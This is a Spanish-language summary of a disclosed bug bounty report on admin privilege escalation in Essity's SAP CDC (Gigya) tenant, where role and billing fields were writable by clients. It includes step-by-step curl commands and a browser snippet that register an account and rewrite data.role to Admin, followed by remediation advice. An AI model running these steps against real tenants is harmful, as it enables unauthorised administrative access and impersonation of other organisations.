Reports
CRÍTICA[LÓGICA DE NEGOCIO]#3726887

Escalada a administrador en SAP CDC (Gigya) de Essity: campos críticos marcados como editables por el cliente

El esquema de SAP CDC que daba servicio a los sitios de Essity marcaba el campo del rol y otros datos de facturación como "clientModify", de modo que cualquier usuario registrado podía ascenderse a Admin desde el navegador.

Resumen
Resumen en castellano de un reporte público, no una traducción literal. El código y los comandos se mantienen como en el original.

Resumen

El tenant de Gigya / SAP CDC que daba servicio a los cuatro sitios de Essity estaba configurado con permisos de escritura incorrectos sobre campos que determinan el rol y la identidad de facturación de cada cuenta.

El esquema completo se devolvía sin autenticación a través de la operación accounts.getSchema, y ahí quedaba a la vista el problema: campos tan sensibles como data.role, data.org.bpid, data.soldTo, data.crmId o data.orgName tenían "writeAccess":"clientModify". Ese valor significa que cualquier usuario autenticado puede escribir esos campos en su propia cuenta directamente desde el navegador, usando la API pública de actualización de cuentas.

El detalle que convierte la mala configuración en una escalada de privilegios real es que dos de esos campos —data.role y el rol por organización data.org.roles.name— son exactamente los que lee el flujo de login de los sitios. El script de login incrustado en cada idioma ejecuta gigya.accounts.getAccountInfo, toma el rol de groups.organizations[0].roles[0] y reenvía el objeto completo de la cuenta (incluidos esos campos editables por el usuario) al backend que decide qué sesión emitir.

Campos críticos con writeAccess clientModify

Entre los campos afectados que podían escribirse desde el cliente estaban:

data.role                       data.org.bpid              data.org.roles.name
data.orgName                    data.orgEntered.orgName    data.orgEntered.duns
data.orgEntered.address.*       data.orgEntered.roles.name
data.crmId                      data.soldTo                data.defaultSoldTo
data.unit                       data.area                  data.level
data.deactivated                data.subscribe             data.terms
data.requestedCompanies         data.additionalCompany
profile.email                   profile.firstName          profile.lastName
profile.city / state / address / zip / country / work.title

Pasos de reproducción

1. Comprobar el writeAccess (sin autenticación)

El primer paso es verificar sobre el esquema público que los campos críticos son clientModify. La operación accounts.getSchema responde sin credenciales y el siguiente comando filtra los campos relevantes:

curl -sk -H "X-HackerOne-Research: [REDACTADO]" \
     -X POST 'https://████████/accounts.getSchema' \
     --data-urlencode 'apiKey=████████' \
     --data-urlencode 'format=json' \
| python3 -c "
import sys,json
d = json.load(sys.stdin)
critical = ['role','org.bpid','orgName','crmId','soldTo','defaultSoldTo','unit','area','level','deactivated','org.roles.name']
ds = d['dataSchema']['fields']
print('field | writeAccess')
for f in critical:
    if f in ds: print(f'  {f:25s} | {ds[f][\"writeAccess\"]}')"

La salida confirma que todos esos campos son clientModify:

field | writeAccess
  role                      | clientModify
  org.bpid                  | clientModify
  orgName                   | clientModify
  crmId                     | clientModify
  soldTo                    | clientModify
  defaultSoldTo             | clientModify
  unit                      | clientModify
  area                      | clientModify
  level                     | clientModify
  deactivated               | clientModify
  org.roles.name            | clientModify

2. Prueba de concepto completa: de anónimo a role: Admin

Paso 1 — Iniciar el registro: se obtiene un regToken con accounts.initRegistration.

curl -sk -H "X-HackerOne-Research: [REDACTADO]" \
     -X POST 'https://████████/accounts.initRegistration' \
     --data-urlencode 'apiKey=████████' \
     --data-urlencode 'format=json'
# → regToken: [REDACTADO]

Paso 2 — Registrar la cuenta con un rol normal ("role":"User"):

curl -sk -H "X-HackerOne-Research: [REDACTADO]" \
     -X POST 'https://████████/accounts.register' \
     --data-urlencode 'apiKey=████████' \
     --data-urlencode "regToken=$REGTOK" \
     --data-urlencode 'email=████████' \
     --data-urlencode 'password=[REDACTADO]' \
     --data-urlencode 'profile={"firstName":"H1Research","lastName":"████████-DO-NOT-APPROVE"}' \
     --data-urlencode 'data={"role":"User","terms":true,"subscribe":false}' \
     --data-urlencode 'finalizeRegistration=true' \
     --data-urlencode 'include=data,profile' \
     --data-urlencode 'format=json'
# → UID: [REDACTADO], data.role: "User"

Paso 3 — Explotar: sobre esa misma cuenta se sobrescribe el rol a Admin y la identidad de facturación con la API pública de actualización de cuentas. El servidor acepta la escritura y responde sin error:

curl -sk -H "X-HackerOne-Research: [REDACTADO]" \
     -X POST 'https://████████/accounts.████████' \
     --data-urlencode 'apiKey=████████' \
     --data-urlencode "regToken=$REGTOK" \
     --data-urlencode 'data={"role":"Admin","soldTo":"9999999991","crmId":"H1████████-CRM","defaultSoldTo":"9999999991","unit":"H1-RESEARCH","area":"H1-RESEARCH","level":"Admin","deactivated":false,"orgName":"H1-████████-DO-NOT-APPROVE-ADMIN"}' \
     --data-urlencode 'format=json'
# → {"errorCode":0,"statusCode":200}

Paso 4 — Comprobar que persiste: accounts.getAccountInfo devuelve la cuenta con todos los valores elegidos por el atacante y, además, un JWT firmado (id_token) que afirma la identidad elevada:

curl -sk -H "X-HackerOne-Research: [REDACTADO]" \
     -X POST 'https://████████/accounts.getAccountInfo' \
     --data-urlencode 'apiKey=████████' \
     --data-urlencode "regToken=$REGTOK" \
     --data-urlencode 'include=data,profile,groups,emails,id_token' \
     --data-urlencode 'format=json'

Respuesta del servidor (abreviada):

{
  "errorCode":0,
  "UID":"████████",
  "data":{
    "role":"Admin",
    "soldTo":"9999999991",
    "defaultSoldTo":"9999999991",
    "crmId":"H1████████-CRM",
    "orgName":"H1-████████-DO-NOT-APPROVE-ADMIN",
    "unit":"H1-RESEARCH",
    "area":"H1-RESEARCH",
    "level":"Admin",
    "deactivated":false
  },
  "isActive":true,
  "isRegistered":true,
  "id_token":"[REDACTADO]"
}

3. Por qué el clientModify habilita el ataque

Al estar data.role y los campos relacionados marcados como clientModify, cualquier usuario autenticado puede lanzar una actualización como esta desde el propio navegador:

gigya.accounts.████████({
    data: {
        role: "Admin",
        soldTo: "999999991",
        bpid: "999999991_0614_33_03",
        orgName: "████████"
    }
})

SAP CDC acepta la escritura. Después, el flujo de login lee esos campos modificados por el cliente al llamar a getAccountInfo y los usa para decidir los privilegios de la sesión.

Impacto

Un atacante autenticado puede ascenderse al rol de administrador y suplantar a otras organizaciones en todos los sitios afectados. Impactos concretos descritos en el reporte:

  1. Toma de control de cuentas B2B / escalada de rol: cualquier usuario registrado puede ascender su data.role a "Admin" u otro valor privilegiado que el servidor reconozca, ganando acceso administrativo al portal.
  2. Suplantación entre clientes: falsificando data.org.bpid, data.soldTo, data.crmId y data.orgName se puede suplantar a otras organizaciones y acceder a sus datos de negocio, pedidos e información de precios.
  3. Evasión de la desactivación: fijando data.deactivated: false el usuario mantiene su cuenta activa aunque desde el back-office se haya desactivado.
  4. Violación de consentimiento / RGPD: manipular data.subscribe y data.terms permite saltarse las marcas de consentimiento de marketing manteniendo la cuenta activa.
  5. Manipulación de facturación y territorio de ventas: modificando data.unit, data.area y data.level se puede tergiversar la asignación de territorio y, potencialmente, alterar la lógica de precios, enrutado o colocación de pedidos.

La causa raíz es que la configuración del esquema de SAP CDC permitía la modificación desde el cliente de campos críticos para la autorización, violando el principio de que las decisiones de autorización deben basarse solo en datos controlados por el servidor.

Remediación

Según la documentación de SAP CDC que cita el reporte, los campos usados para autorización deben ser serverOnly o, como mucho, clientRead; tener clientModify sobre data.role figura explícitamente como un antipatrón de configuración en la guía de hardening de SAP. La corrección pasa por retirar el permiso clientModify de todos los campos relevantes para el rol y la facturación.

Qué aprender de este caso

  • En tenants de SAP CDC / Gigya, revisa el writeAccess de cada campo del esquema (accounts.getSchema, que suele responder sin autenticación): cualquier campo que alimente decisiones de autorización —rol, organización, identidad de facturación— debe ser serverOnly o clientRead, nunca clientModify.
  • Busca el patrón de confianza en datos editables por el cliente: cuando el flujo de login lee un campo del perfil (aquí data.role y data.org.roles.name) para decidir privilegios, comprueba si ese mismo campo puede escribirlo el propio usuario con la API pública de actualización de cuentas.
  • Desconfía de que un campo como deactivated sea escribible por el cliente: si el usuario puede fijarlo a false, los controles de desactivación del back-office se vuelven inútiles.
  • Un JWT firmado que afirma una identidad no garantiza que esa identidad sea legítima: aquí el id_token iba firmado por el servidor pero reflejaba valores que había elegido el atacante. Verifica de dónde salen los datos que firmas, no solo la firma.